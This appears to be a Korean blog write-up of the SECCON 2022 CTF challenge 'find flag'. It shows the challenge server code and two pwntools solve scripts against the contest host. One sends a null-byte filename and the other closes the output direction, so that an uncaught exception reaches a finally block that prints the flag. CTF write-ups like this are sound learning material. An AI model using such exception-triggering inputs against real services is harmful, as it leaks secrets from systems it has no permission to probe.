[SECCON 2022 CTF] find flag

yamewrong·2022년 11월 15일
0

CTF

목록 보기
2/3
post-thumbnail

문제

server.py

#!/usr/bin/env python3.9
import os

FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode()
def check():
    try:
        filename = input("filename: ")
        if open(filename, "rb").read(len(FLAG)) == FLAG:
            return True
    except FileNotFoundError:
        print("[-] missing")
    except IsADirectoryError:
        print("[-] seems wrong")
    except PermissionError:
        print("[-] not mine")
    except OSError:
        print("[-] hurting my eyes")
    except KeyboardInterrupt:
        print("[-] gone")
    return False

if __name__ == '__main__':
    try:
        check = check()
    except:
        print("[-] something went wrong")
        exit(1)
    finally:
        if check:
            print("[+] congrats!")
            print(FLAG.decode())

분석

check 함수
파일명을 입력 받는다 -> 해당 파일을 열어서 그 파일속FLAG길이랑 FLAG 길이가 같으면 TRUE반환

main
try : check=check() -> TRUE를 반환하는지
except : print("[-] something went wrong")
이런 식으로 코드 이해를 진행하다보니

그러면 check가 TRUE면 되겠다 !! 생각했는데
finally의 조건을 몰랐다.
그래서 검색해보니

예외가 발생하거나 발생하지 않거나 어떤 작업이 항상 수행되도록 하려면 finally를 사용하면 된다.

그렇다
파일명을 알아서 TRUE를 반환 시킬수 없는데 TRUE를 반환시키지 않아도 되는것이였다.

그렇다면 다시 check함수
TRUE가 아니여도 False를 받아오기위해 피해야할 관문들이 있다.

    except FileNotFoundError:
        print("[-] missing")
    except IsADirectoryError:
        print("[-] seems wrong")
    except PermissionError:
        print("[-] not mine")
    except OSError:
        print("[-] hurting my eyes")
    except KeyboardInterrupt:
        print("[-] gone")

우선 파일명을 가져다가 검사하니까 파일명을 NULL로 넣어버리는것이다.

풀이

payload.py

from pwn import*
r = remote("find-flag.seccon.games","10042")
r.recvuntil("filename:")
r.sendline("\x00")
print(r.recvall())


위와 같이 flag가 뜨는 것을 볼 수 있다.

번외 payload.py

from pwn import*

r = remote("find-flag.seccon.games","10042")
r.shutdown("out")
print(r.recvall())


// 출처 : https://docs.pwntools.com/en/stable/tubes.html
읽거나 쓰기를 direction옵션에 따라 tube를 닫는다.
디폴트로는 send라서 출력방향을 닫겠다는 것으로 그냥 send를 종료하겠다를 의미.(write를 못하고 read만 된다)
이렇게 해도 파일명에 뭘 보내는것이 아니여도 똑같이 플래그는 따졌다.

0개의 댓글